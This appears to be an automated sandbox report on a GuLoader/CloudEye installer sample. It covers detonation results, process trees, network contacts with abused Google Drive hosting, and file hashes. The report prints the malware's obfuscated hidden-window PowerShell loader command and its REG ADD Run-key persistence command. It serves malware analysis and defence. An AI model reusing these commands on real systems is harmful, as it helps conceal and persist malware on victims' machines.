Analysis Overview
SHA256
9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f
Threat Level: Known bad
The file 9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
Command and Scripting Interpreter: PowerShell
Legitimate hosting services abused for malware hosting/C2
Adds Run key to start application
Suspicious use of SetThreadContext
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of NtCreateThreadExHideFromDebugger
Program crash
Enumerates physical storage devices
NSIS installer
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry key
Suspicious behavior: MapViewOfSection
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-10 01:58
Signatures
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-10 01:58
Reported
2024-07-10 02:01
Platform
win7-20240704-en
Max time kernel
121s
Max time network
123s
Command Line
Signatures
Guloader,Cloudeye
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\\Ufrugtbarhedens\\').quadricapsular;%Grshoppens% ($nedstemmes)" | C:\Windows\SysWOW64\reg.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1992 set thread context of 2924 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Enumerates physical storage devices
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe
"C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Metabolizable=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139';$Kumpan=$Metabolizable.SubString(7195,3);.$Kumpan($Metabolizable)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\Ufrugtbarhedens\').quadricapsular;%Grshoppens% ($nedstemmes)"
C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\Ufrugtbarhedens\').quadricapsular;%Grshoppens% ($nedstemmes)"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 172.217.16.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 216.58.201.99:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 216.58.201.99:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 216.58.201.97:443 | drive.usercontent.google.com | tcp |
Files
memory/1992-11-0x0000000074311000-0x0000000074312000-memory.dmp
memory/1992-12-0x0000000074310000-0x00000000748BB000-memory.dmp
memory/1992-13-0x0000000074310000-0x00000000748BB000-memory.dmp
memory/1992-14-0x0000000074310000-0x00000000748BB000-memory.dmp
memory/1992-15-0x0000000074310000-0x00000000748BB000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139
| MD5 | 67cb075314762a89035c6b2b15c68f00 |
| SHA1 | 382134aa018f620cdfbab89a67ae7c10b22e8547 |
| SHA256 | a853d35e1301ceef0526d96852cf8ed766c3d9f04bc5a7b49522b02d1b4302ea |
| SHA512 | 5677a3b68f751f9cb252d45aa35f4609fe0f81c734b3ed44ddb2acd8e017c371027841892f61a7aa71debe950b2b7ea05ecdbfe577130c69a8d74c74cbaf4190 |
memory/1992-18-0x0000000074310000-0x00000000748BB000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Varmevrkernes160.Ove
| MD5 | b9207704502bf9bc8956ea19f761c559 |
| SHA1 | dee462bb9bff33881c21ce2f8615a222cbb28aa2 |
| SHA256 | ea7565fe3b1b2fa90145b41406c2b175846785ba1be2d0248030dedbdd4aec6f |
| SHA512 | cba66f601051aaee865574f94996c480873017195c122d750f7355a777359ec0ba05b5f786c88753c7e3b87a01daeae82edba1d3a799e09e28f7ef8bc1f6d704 |
memory/1992-20-0x0000000074310000-0x00000000748BB000-memory.dmp
memory/1992-21-0x00000000067C0000-0x000000000A8E9000-memory.dmp
memory/1992-22-0x0000000074310000-0x00000000748BB000-memory.dmp
memory/2924-24-0x0000000000380000-0x00000000013E2000-memory.dmp
memory/2924-44-0x00000000013F0000-0x0000000005519000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-10 01:58
Reported
2024-07-10 02:01
Platform
win10v2004-20240709-en
Max time kernel
95s
Max time network
130s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4976 wrote to memory of 4572 | N/A | C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 4976 wrote to memory of 4572 | N/A | C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 4976 wrote to memory of 4572 | N/A | C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe
"C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Metabolizable=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139';$Kumpan=$Metabolizable.SubString(7195,3);.$Kumpan($Metabolizable)"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4572 -ip 4572
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4572 -s 2620
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 17.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
Files
memory/4572-9-0x00000000734CE000-0x00000000734CF000-memory.dmp
memory/4572-10-0x00000000027A0000-0x00000000027D6000-memory.dmp
memory/4572-12-0x00000000051E0000-0x0000000005808000-memory.dmp
memory/4572-11-0x00000000734C0000-0x0000000073C70000-memory.dmp
memory/4572-13-0x00000000734C0000-0x0000000073C70000-memory.dmp
memory/4572-14-0x0000000005840000-0x0000000005862000-memory.dmp
memory/4572-15-0x00000000059E0000-0x0000000005A46000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1otidix2.0oq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4572-16-0x0000000005A50000-0x0000000005AB6000-memory.dmp
memory/4572-26-0x0000000005CD0000-0x0000000006024000-memory.dmp
memory/4572-27-0x00000000060B0000-0x00000000060CE000-memory.dmp
memory/4572-28-0x0000000006160000-0x00000000061AC000-memory.dmp
memory/4572-31-0x0000000006640000-0x0000000006662000-memory.dmp
memory/4572-30-0x00000000065F0000-0x000000000660A000-memory.dmp
memory/4572-29-0x0000000007270000-0x0000000007306000-memory.dmp
memory/4572-32-0x00000000078C0000-0x0000000007E64000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139
| MD5 | 67cb075314762a89035c6b2b15c68f00 |
| SHA1 | 382134aa018f620cdfbab89a67ae7c10b22e8547 |
| SHA256 | a853d35e1301ceef0526d96852cf8ed766c3d9f04bc5a7b49522b02d1b4302ea |
| SHA512 | 5677a3b68f751f9cb252d45aa35f4609fe0f81c734b3ed44ddb2acd8e017c371027841892f61a7aa71debe950b2b7ea05ecdbfe577130c69a8d74c74cbaf4190 |
memory/4572-34-0x00000000084F0000-0x0000000008B6A000-memory.dmp
memory/4572-36-0x00000000734C0000-0x0000000073C70000-memory.dmp